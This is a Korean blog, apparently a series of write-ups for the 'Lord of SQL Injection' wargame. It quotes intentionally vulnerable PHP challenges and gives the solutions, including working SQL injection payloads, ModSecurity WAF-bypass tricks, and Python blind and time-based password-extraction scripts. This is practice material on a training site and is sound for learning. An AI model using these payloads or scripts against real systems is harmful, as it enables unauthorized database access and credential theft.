under construction이 뜨는걸 보아 공사 중인 거 같다.
'Lord of SQL Injection' 카테고리의 다른 글
poltergeist (0) | 2023.01.05 |
---|---|
banshee (0) | 2023.01.05 |
manticore (0) | 2023.01.05 |
chupacabra (0) | 2023.01.05 |
cyclops (0) | 2023.01.04 |
under construction이 뜨는걸 보아 공사 중인 거 같다.
poltergeist (0) | 2023.01.05 |
---|---|
banshee (0) | 2023.01.05 |
manticore (0) | 2023.01.05 |
chupacabra (0) | 2023.01.05 |
cyclops (0) | 2023.01.04 |
<?php
include "./config.php";
login_chk();
$db = sqlite_open("./db/poltergeist.db");
$query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
if($poltergeistFlag === $_GET['pw']) solve("poltergeist");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
highlight_file(__FILE__);
?>
// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
메타데이터를 이용하는 거 같아서 MySQL 방식으로 information_schema.tables를 이용하니 안된다.
SQLite는 메타데이터 이름이 다르다.
sqlite_master 테이블을 이용해 테이블 명과 칼럼 명을 알 수 있다.
테이블명 조회: select tbl_name from sqlite_master;
칼럼명 조회: select sql from sqlite_master;
대신 칼럼명 조회는 위의 예시 그대로 치면 모든 테이블의 칼럼들을 조회한다. 그리고 정확히는 테이블을 생성할 때 사용한 쿼리문이 나온다. 이로부터 칼럼명도 알 수 있다.
union select를 이용해 위의 쿼리문을 실행하면 결과는 다음과 같다.
1. ?pw=' union select group_concat(tbl_name) from sqlite_master --
group_concat(칼럼명)을 사용하면 해당 칼럼의 모든 데이터들이 , (쉼표)를 구분자로 하여 합쳐진 문자열이 반환된다.
SQLite에서 한 줄 주석은 --이며 블록 주석(여러 줄 주석)은 /**/이다.
1번 입력값을 대입한 결과 member와 flag_70c81d99 테이블이 있다는 것을 알 수 있다.
문제에서 falg_70c81d99에 Flag가 있다고 하니 계속 조회한다.
2. ?pw=' union select sql from sqlite_master where tbl_name='flag_70c81d99' --
flag_0876285c 칼럼이 있다는 것을 알 수 있다.
3. ?pw=' union select flag_0876285c from flag_70c81d99 --
FLAG가 나온다.
답: ?pw=FLAG{ea5d3bbdcc4aec9abe416a9f66eaaa13}
nessie (0) | 2023.01.06 |
---|---|
banshee (0) | 2023.01.05 |
manticore (0) | 2023.01.05 |
chupacabra (0) | 2023.01.05 |
cyclops (0) | 2023.01.04 |
<?php
include "./config.php";
login_chk();
$db = sqlite_open("./db/banshee.db");
if(preg_match('/sqlite|member|_/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['id']) echo "<h2>login success!</h2>";
$query = "select pw from member where id='admin'";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['pw'] === $_GET['pw']) solve("banshee");
highlight_file(__FILE__);
?>
id가 존재하면 login success! 가 출력되는 것을 기반으로 Blind SQL Injection을 수행한다.
SQLite 한 줄 주석은 --이다.
import requests
url='https://los.rubiya.kr/chall/banshee_ece938c70ea2419a093bb0be9f01a7b1.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'
#16
def find_pw_len():
pw_len=1
while True:
r=requests.get(url+"?pw=' or id='admin' and length(hex(pw))={} --".format(pw_len),cookies=cookie)
if 'login success!' in r.text:
return pw_len
else:
pw_len+=1
#0313091b
def find_pw():
pw_len=find_pw_len()
tmp=''
for i in range(1,pw_len+1):
for j in HEX:
r=requests.get(url+"?pw=' or id='admin' and substr(hex(pw),{},1)='{}' --".format(i,j),cookies=cookie)
if 'login success!' in r.text:
tmp+=j
if len(tmp)==2:
print(chr(int(tmp,16)),end='')
tmp=''
break
find_pw()
답: ?pw=0313091b
nessie (0) | 2023.01.06 |
---|---|
poltergeist (0) | 2023.01.05 |
manticore (0) | 2023.01.05 |
chupacabra (0) | 2023.01.05 |
cyclops (0) | 2023.01.04 |
<?php
include "./config.php";
login_chk();
$db = sqlite_open("./db/manticore.db");
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['id'] == "admin") solve("manticore");
highlight_file(__FILE__);
?>
이번에도 SQLite DB우회 문제이다.
시작부터 addslashes로 ',",\,NUL에 대하여 앞에\를 붙이는 이스케이프 처리한다.
MySQL에선 addslash를 우회가 어렵지만 SQLite에선 앞에 \를 붙인다고 '가 이스케이프 처리되지 않는다.
만약 id='\'라면 id가 \가 되는 것이다.
참고로 문자열 안에서 '를 이스케이프 처리하려면 \'가 아닌 ''(따옴표 2개)으로 사용한다.
답: ?id=' or id=char(97,100,109,105,110) --
입력하면 id='\' or id='admin' -- 이 된다.
id가 \인 id는 없어서 무시, SQLite에선 0x61646d696e가 안 통해서 char(97,100,109,105,110)으로 대체, 마지막 한 줄 주석을 사용하였다.
poltergeist (0) | 2023.01.05 |
---|---|
banshee (0) | 2023.01.05 |
chupacabra (0) | 2023.01.05 |
cyclops (0) | 2023.01.04 |
godzilla (0) | 2023.01.04 |
<?php
include "./config.php";
login_chk();
$db = sqlite_open("./db/chupacabra.db");
$query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['id'] == "admin") solve("chupacabra");
highlight_file(__FILE__);
?>
DB가 SQLite로 바뀐 것을 알 수 있다.
이전까지 WAF 우회였는데 이젠 DB가 바뀌었다.
SQLite에선 한 줄 주석이 -- 이다.
답: ?id=admin'--
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_cyclops where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['id'] === "first") && ($result['pw'] === "second")) solve("cyclops");//must use union select
highlight_file(__FILE__);
?>
id는 first pw는 second이어야 문제가 풀린다.
문제에서 union select를 사용하라고 한다.
하지만 웹 방화벽에선 union select를 막고 있다. 따라서 우회 방법을 찾아보았다.
아래 링크에 다양한 우회 방법이 있다.
https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF
WAF를 우회하여 union select를 사용하는 방법 중 다음을 사용하였다.
union/**/select
답: ?id='<@ union/**/select 'first','second'%23
아래 링크에 왜 <@를 사용하는지 나와있다.
manticore (0) | 2023.01.05 |
---|---|
chupacabra (0) | 2023.01.05 |
godzilla (0) | 2023.01.04 |
death (0) | 2023.01.04 |
cthulhu (0) | 2023.01.04 |
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_godzilla where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_godzilla where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("godzilla");
highlight_file(__FILE__);
?>
id가 존재하면 웹 페이지에 Hello admin을 출력한다.
admin의 pw를 알아내기 위해이를 기반으로 Blind SQL Injection을 수행한다.
지금까지 계속해오던 방식이라 쉽게 할 수 있을 것이다.
import requests
url='https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'
#16
def find_pw_len():
pw_len=1
while True:
r=requests.get(url+"?id='<@ or id='admin' and length(hex(pw))={}%23".format(pw_len),cookies=cookie)
if 'Hello admin' in r.text:
return pw_len
else:
pw_len+=1
#a18a6cc5
def find_pw():
pw_len=find_pw_len()
tmp=''
for i in range(1,pw_len+1):
for j in HEX:
r=requests.get(url+"?id='<@ or id='admin' and substr(hex(pw),{},1)='{}'%23".format(i,j),cookies=cookie)
if 'Hello admin' in r.text:
tmp+=j
if len(tmp)==2:
print(chr(int(tmp,16)),end='')
tmp=''
break
find_pw()
공격 구문에 사용된 <@은 아래 문제 풀이를 참고하면 이해 가능하다.
https://dbgdbg.tistory.com/entry/cthulhu
답: ?pw=a18a6cc5
chupacabra (0) | 2023.01.05 |
---|---|
cyclops (0) | 2023.01.04 |
death (0) | 2023.01.04 |
cthulhu (0) | 2023.01.04 |
alien (0) | 2023.01.04 |
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_death where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("death");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
highlight_file(__FILE__);
?>
ModSecurity(웹 방화벽,WAF) 우회 문제이다.
id가 admin이어야 풀린다.
답: ?id='<@ or id=0x61646d696e%23
왜 <@를 쓰는지는 cthulhu 문제 풀이에 있다.
https://dbgdbg.tistory.com/entry/cthulhu
admin이 필터링되기 때문에 0x61646d696e를 사용한다.
admin=char(97,100,109,105,110)으로 대체 가능하다.
<?php
include "./welcome.php";
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cthulhu where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("cthulhu");
highlight_file(__FILE__);
?>
ModSecurity는 WAF(웹방화벽)이다. 이를 우회하는 문제다.
https://github.com/SpiderLabs/owasp-modsecurity-crs/issues/1181
위 링크에 접속하면 우회기법들이 있다. 이 문제엔 paranoia level 1 수준의 웹 방화벽이 설정되어 있어서 위 링크의 PL1 우회기법들을 봤는데 뭔진 잘 모르겠다. 문법이 이해가 안 간다. PL2 우회기법들 중에 하나를 골라서 테스트해 봤다.
인데 조금 변형하니 통과했다.
답: ?id='<@ or 1%23
@variable는 session-specific user-defined variable의 변수선언에 사용된다고 한다. 자세한 건 아래 링크에 예시까지 잘 나와있다.
https://stackoverflow.com/questions/1009954/mysql-variable-vs-variable-whats-the-difference
MySQL에서 테스트해보면 select @;은 NULL을 반환한다. 마찬가지로 select ''<@;도 NULL을 반환한다.
우선 DB가 MySQL의 경우에 <@를 libinjection에서 처리를 잘 못한다고 한다. 다른 DB에서는 해당 공격이 잘 안 먹힌다고 한다.
참고로 libinjection이란 SQL Injection을 탐지하는 C 기반의 오픈소스 라이브러리다.
https://portswigger.net/daily-swig/libinjections-sql-injection-defenses-cracked
위 링크에서 말하길 ModSecurity는 detectSQLi 연산자를 통해 libinjection을 사용한다고 한다. detectSQLi 연산자는 SQL Injection 데이터가 감지되면 참을 반환한다고 한다.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/admin|and|or|if|coalesce|case|_|\.|prob|time/i', $_GET['no'])) exit("No Hack ~_~");
$query = "select id from prob_alien where no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$query2 = "select id from prob_alien where no='{$_GET[no]}'";
echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
if($_GET['no']){
$r = mysqli_fetch_array(mysqli_query($db,$query));
if($r['id'] !== "admin") exit("sandbox1");
$r = mysqli_fetch_array(mysqli_query($db,$query));
if($r['id'] === "admin") exit("sandbox2");
$r = mysqli_fetch_array(mysqli_query($db,$query2));
if($r['id'] === "admin") exit("sandbox");
$r = mysqli_fetch_array(mysqli_query($db,$query2));
if($r['id'] === "admin") solve("alien");
}
highlight_file(__FILE__);
?>
query와 query2의 차이는 no의 값에 '가 붙냐 마냐의 차이다.
내가 no에 전달한 값이 query에서도 실행되어야 하고 query2에서도 실행되어야 한다.
no의 값이 99 union select 1 %23' union select 2 %23라고 가정하면 쿼리는 다음과 같이 완성된다.
query: select (생략) no=99 union select 1 #' union select 2 #;
query2: select (생략) no='99 union select 1 #' union select 2 #';
query는 빨간 글자들은 주석처리되어 앞의 union select 1까지만 실행된다. 참고로 no=99인 데이터는 없다.
query2는 초록 글자는 ' ' 안에 존재하므로 문자열 취급된다. 참고로 #(한 줄 주석)도 ' '안에 존재하면 주석 역할을 잃고 문자 그 자체로 해석된다. 따라서 union select 2 #' 부분만 실행된다.
php코드의 하단엔 쿼리를 한 번씩 실행하며 결괏값을 admin과 비교한다.
admin -> not admin -> not admin -> admin 형태가 되어야 문제가 풀린다.
이때 생각해볼 수 있는 것이 시간 함수이다. 시간을 이용해 같은 쿼리문이라도 매초 쿼리의 결과가 달라지게 하는 것이다. 공격에 사용되는 시간 함수는 다음과 같다.
sleep(1): 1초 동안 정지, 반환값은 0.
now(): 현재 시간 초단위까지 출력. time은 필터링되기에 now 사용.
답은 다음과 같다.
답: ?no=99 union select concat(lower(hex(10%2b(!sleep(1)%26%26now()%2=0))),0x646d696e)%23' union select concat(lower(hex(10%2b(!sleep(1)%26%26now()%2=1))),0x646d696e)%23
union select 앞부분만 떼어서 생각해 보자.
union select concat(lower(hex(10%2b(!sleep(1)%26%26now()%2=0))),0x646d696e)
먼저 괄호 가장 안에 있는 !sleep(1)&&now()%2=0을 보자.
sleep() 함수는 반환값이 0이기에 !연산을 하면 1로 변환된다. (!: 논리 not 연산자)
now()%2=0은 현재 시간이 짝수 초일 때는 참이 되어 1 반환, 홀수 초일 때는 거짓이라 0을 반환한다.
둘을 논리곱연산(&&)을 하여 시간에 따라 0 또는 1이 되고 10에 더해진다. 그럼 결과는 10 또는 11이 될 것이다.
참고로, url에서 &은 url key를 여러 개 전달할 때 사용하는 예약 문자이므로 url 인코딩하여 문자 그 자체로 표현해야 한다.
마찬가지로 +는 띄어쓰기 역할의 예약 문자이므로 url 인코딩하여 전달해야 덧셈 역할을 할 수 있다.
다시 hex함수의 인자로 사용되어 10 또는 11의 16진수 값이 반환된다. 10은 'A', 11은 'B'가 반환된다.
다시 lower 함수의 인자로 전달되어 'A'는 'a'가 되고 'B'는 'b'가 된다.
그다음 concat 함수의 인자로 'a' 또는 'b'와 0x646d696e(='dmin')가 전달되어 문자열들이 합쳐진다. 결과적으로
'admin' 또는 'bdmin'이 완성된다.
참고로 'dmin'으로 대체하면 쿼리문에 이미 '가 존재하기에 문자열이 엉망이 되어 대체 불가능하다. 대신 "dmin"은 가능하다.
이제 if문들을 어떻게 통과하는지 생각해 보자.
첫 번째 union select는 query의 경우에 실행되어 실행될 때마다 1초 쉬고 다시 진행된다. 다시 진행될 때 홀수 초라면 'admin'이 완성되어 첫 번째 if문을 통과한다. 단, 짝수 초라면 'bdmin'이 반환되기에 홀수 초가 될 때까지 새로고침 해야 한다.
이어서 또 query가 실행되는데 1초를 또 쉬고 진행된다. 첫 번째 실행 시 홀수 초였기에 짝수 초가 되며 첫 번째 union select 실행 결과 'bdmin'이 완성되어 두 번째 if문을 통과한다.
세 번째 조건문부턴 query2가 실행되는데 그럼 두 번째 union select에 해당된다. 또 1초를 쉬면 홀수 초가 된다. 홀수 초일 때는 반환값은 'bdmin'이 되고 마지막 조건문에선 query2에서 1초 쉬어 짝수 초가 되고 두 번째 union select 결과 'admin'이 반환된다. 따라서 문제가 풀린다.
<?php
include "./config.php";
login_chk();
$db = dbconnect("zombie");
if(preg_match('/rollup|join|ace|@/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select pw from prob_zombie where pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("zombie");
highlight_file(__FILE__);
?>
ouroboros 문제와 해결 조건은 같다. 입력한 pw와 쿼리 실행 결과의 pw가 같아야한다. 단, replace가 사용불가능하다.
이번엔 information_schema.processlist 테이블을 이용해야한다.
information_schema.processlist 테이블을 보면 info 칼럼에 실행중인 쿼리문이 나온다.
문제를 풀기에 앞서 ?pw=' union select user()%23 을 입력하면 현재 user를 알 수 있다. php 코드에도 dbconnect("zombie")를 보아 유추는 할 수 있지만 확실하게 하기 위해 user가 zombie라는 것을 확인했다. user는 where절에 user='zombie' 형태로 사용한다.
답: ?pw=' union select substr(info,38,88) from information_schema.processlist where user='zombie
이렇게 입력하면 아래와 같은 쿼리가 실행되며 전체 쿼리문이 processlist 테이블에 저장될 것이다.
select pw from prob_zombie where pw= '' union select substr(info,38,88) from information_schema.processlist where user='zombie'
substr 함수를 사용해 ' union부터 zombie까지를 추출한다. 그 결과 내가 pw로 전달한 값인 ' union select substr(info,38,88) from information_schema.processlist where user='zombie 와 일치하여 문제가 해결된다.
내가 입력한 pw값과 쿼리 실행결과 출력되는 값이 일치하게 된다. substr 함수 때문에 띄워쓰기를 주의해야한다. 띄워쓸거면 substr의 세번째 인자를 수정해야한다.
cthulhu (0) | 2023.01.04 |
---|---|
alien (0) | 2023.01.04 |
ouroboros (0) | 2023.01.03 |
phantom (0) | 2023.01.03 |
frankenstein (2) | 2023.01.02 |
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|rollup|join|@/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select pw from prob_ouroboros where pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros");
highlight_file(__FILE__);
?>
이 문제는 내가 입력한 pw 값과 쿼리 실행 결과 pw 값이 같으면 풀린다.
어떤 id에 해당하는 pw가 필요한 것도 아니다. 또 db에 무슨 pw가 있는지 알 수도 없다.
이 문제는 콰인을 이용해야 한다.
콰인이란 입력 없이 자기 자신의 소스 코드를 출력하는 프로그램이다.
내가 말한 콰인 쿼리는 쿼리가 자기 자신을 출력하는 쿼리를 말한 것이다.
콰인 쿼리를 이용하면 쿼리 실행결과 pw로 입력한 쿼리가 출력되어 $result['pw']와 $_GET['pw']가 같게 된다.
우선 콰인 쿼리의 기본 형태는 다음과 같다.
select replace(replace('select replace(replace("$",char(34),char(39)),char(36),"$")',char(34),char(39)),char(36),'select replace(replace("$",char(34),char(39)),char(36),"$")');
위 구문을 이해하는데 알아야 될 것들이 있다.
char(34): "
char(39): '
char(36): =
replace('문자(열)','문자(열)','문자(열)'): 첫 번째 인자의 문자(열) 안에 두 번째 인자 문자(열)가 있으면 세 번째 인자 문자(열)로 치환하는 것이다.
먼저 녹색 replace 문이 실행된다. 녹색 select ~문자열 내부의 "(char(34))를 '(char(39))로 치환한다. 그 결과
select replace(replace("$",char(34),char(39)),char(36),"$") 에서
select replace(replace('$',char(34),char(39)),char(36),'$') 이 된다.
다음으로 빨간 replace 문이 실행된다. 이번엔 $(char(36)) 문자를 마지막에 있는 빨간색 select ~ 문자열로 치환한다.
select replace(replace('$',char(34),char(39)),char(36),'$') 에서
select replace(replace('select replace(replace("$",char(34),char(39)),char(36),"$")',char(34),char(39)),char(36),'select replace(replace("$",char(34),char(39)),char(36),"$")') 가 된다.
입력한 쿼리문과 출력문이 일치한다. 이를 기반으로 살을 조금만 붙이면 된다. 답은 다음과 같다.
?pw='union select replace(replace('"union select replace(replace("$",char(34),char(39)),char(36),"$")%23',char(34),char(39)),char(36),'"union select replace(replace("$",char(34),char(39)),char(36),"$")%23')%23
말은 쉽지만 계속 보면 눈이 아프다. %23은 #(mysql의 한 줄주석)을 url 인코딩한 값이다.
alien (0) | 2023.01.04 |
---|---|
zombie (0) | 2023.01.03 |
phantom (0) | 2023.01.03 |
frankenstein (2) | 2023.01.02 |
blue_dragon (0) | 2023.01.02 |
ip | |
127.0.0.1 | ************ |
<?php
include "./config.php";
login_chk();
$db = dbconnect("phantom");
if($_GET['joinmail']){
if(preg_match('/duplicate/i', $_GET['joinmail'])) exit("nice try");
$query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
mysqli_query($db,$query);
echo "<hr>query : <strong>{$query}</strong><hr>";
}
$rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
while(($result = mysqli_fetch_array($rows))){
if($result['no'] == 1) $result['email'] = "**************";
echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>";
}
echo "</table>";
$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"); }
highlight_file(__FILE__);
?>
우선 no=0, 내 공인 ip, joinmail 값을 삽입한다.
그 후 no=1 또는 내 공인 ip인 행들을 조회하는데 no=1인 행은 email을 ************로 출력한다.
처음 상단에 출력되는 127.0.0.1과 *************이 no=1에 해당하는 ip와 email이며 이 email을 알아내야 풀린다.
insert 부분을 조작하여 joinemail에서 no=1인 email을 조회하여 삽입할 수 있다.
답: ?joinmail=abc'),(0,'공인 ip',(select email from prob_phantom as b where no=1))%23
먼저 insert into 테이블 values(1,ip1,email1),(2,ip2,email2); 형식으로 여러 행의 값들을 한 번에 삽입가능하다.
select문의 from 뒤에 as b로 테이블 이름을 재명명한다. b는 임의의 값이며 as b가 없으면
ERROR 1093 (HY000): You can't specify target table 'prob_phantom' for update in FROM clause 이런 에러가 뜰 것이다.
insert 대상 테이블인 prob_phantom을 내부 쿼리에서 select 대상 테이블로 사용 불가능해서 뜨는것 같다.
그래서 as를 이용해 테이블 이름을 바꿔줘야한다.
zombie (0) | 2023.01.03 |
---|---|
ouroboros (0) | 2023.01.03 |
frankenstein (2) | 2023.01.02 |
blue_dragon (0) | 2023.01.02 |
red_dragon (0) | 2023.01.02 |
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(|\)|union/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit("error");
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein");
highlight_file(__FILE__);
?>
괄호가 필터링된다. 게다가 union select도 할 수 없다. 그래서 이 문제는 답을 참고했다.
mysql에서는 9e307*N 으로 표현되는 값은 표현가능한 범위를 넘어서서 에러를 반환한다.
괄호를 사용할 수 없기에 if문 대신 case when then 구문을 이용한다. 조건식에 like 연산자를 사용한다.
괄호를 사용할 수 없기에 비밀번호 길이를 따로 구할 수도 없다. 따라서 바로 pw를 구한다.
like 연산자에서 %는 문자(열)을 의미하고, _는 문자 한 개를 의미한다.
ex) 'abcde' like 'ab%' -> 1
ex) 'abcde' like 'ab_' -> 0
ex) 'abcde' like 'e%' -> 0
코드는 다음과 같다.
import requests
url='https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php'
cookie={'PHPSESSID':'자신의 세션id'}
ch='0123456789abcdefghijklmnopqrstuvwxyz_'
#0dc4efbb
def find_pw():
pw=''
while True:
chk=False
for i in ch:
r=requests.get(url+"?pw=' or id='admin' and case when pw like '{}%25' then 9e307*2 else 0 end%23".format(pw+i),cookies=cookie)
if '<br>error' in r.text:
pw+=i
chk=True
break
if chk==False:
break
print(pw)
find_pw()
참고로 ch에 소문자 대신 대문자를 넣거나 대문자를 추가해도 의미는 없다. 왜냐하면 mysql에서 like 뒤에 대문자를 넣든 소문자를 넣든 똑같이 취급한다. 즉 구분이 안된다. 따라서 알파벳은 대문자인 경우도 고려해야 하지만 los의 모든 답은 소문자였기에 소문자를 대입하니 통과한다.
답: ?pw=0dc4efbb
ouroboros (0) | 2023.01.03 |
---|---|
phantom (0) | 2023.01.03 |
blue_dragon (0) | 2023.01.02 |
red_dragon (0) | 2023.01.02 |
green_dragon (2) | 2023.01.02 |
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\./i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\./i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(preg_match('/\'|\\\/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/\'|\\\/i', $_GET[pw])) exit("No Hack ~_~");
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("blue_dragon");
highlight_file(__FILE__);
?>
처음에 입력값을 필터링하고 나서 쿼리를 실행 후 다시 입력값을 필터링한다.
두 번째 필터링은 '와 \ 문자를 필터링해서 뚫기 힘들다. 처음에 입력값을 필터링한 후 쿼리를 실행한다는 점에 주목하자.
Time Based SQL Injection이 가능하다.
참고로 두 번째 조건에 \\\는 오타인 거 같다. \\가 '\'문자를 이스케이프 처리한 것이기 때문에 \\가 맞다고 본다.
사용한 코드는 다음과 같다.
import time
url='https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'
#16
def find_pw_len():
pw_len=1
while True:
start=time.time()
r=requests.get(url+"?id=admin' and if(length(hex(pw))={},sleep(1),0)%23".format(pw_len),cookies=cookie)
end=time.time()
if end-start>1:
return pw_len
else:
pw_len+=1
#d948b8a0
def find_pw():
pw_len=find_pw_len()
tmp=''
for i in range(1,pw_len+1):
for j in HEX:
start=time.time()
r=requests.get(url+"?id=admin' and if(substr(hex(pw),{},1)='{}',sleep(1),0)%23".format(i,j),cookies=cookie)
end=time.time()
if end-start>1:
tmp+=j
if len(tmp)==2:
print(chr(int(tmp,16)),end='')
tmp=''
break
find_pw()
답: ?pw=d948b8a0
phantom (0) | 2023.01.03 |
---|---|
frankenstein (2) | 2023.01.02 |
red_dragon (0) | 2023.01.02 |
green_dragon (2) | 2023.01.02 |
evil_wizard (0) | 2023.01.02 |
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~");
if(strlen($_GET['id']) > 7) exit("too long string");
$no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
$query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
$query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['no'] === $_GET['no']) solve("red_dragon");
highlight_file(__FILE__);
?>
id의 길이는 7 이하이며 no는 숫자만 가능하다. 문자가 섞이면 no는 1이 된다.
?id='||no>%23&no=%0a자연수
%23은 url 인코딩 값이기에 php 코드 상에선 '#' 문자 하나로 해석된다. '#'는 sql에서 한 줄 주석이다. 따라서 id의 길이는 7이다. 참고로 띄어쓰기는 길이가 1로 해석되기에 모두 붙여 써야 한다.
no는 숫자만 된다고 했는데 %0a(개행문자=엔터='\n')는 써도 된다. 문자로 인식되지 않는다.
만약 자연수가 123이라면 쿼리를 웹 페이지에 출력하면 다음과 같다.
select id from prob_red_dragon where id=''||no>#' and no= 123
no= 와 123 사이에 한 칸 띄워진 형태로 보이는데 소스코드를 보면 다음과 같다.
select id from prob_red_dragon where id=''||no>#' and no=
123
개행이 적용되는 것을 알 수 있다.
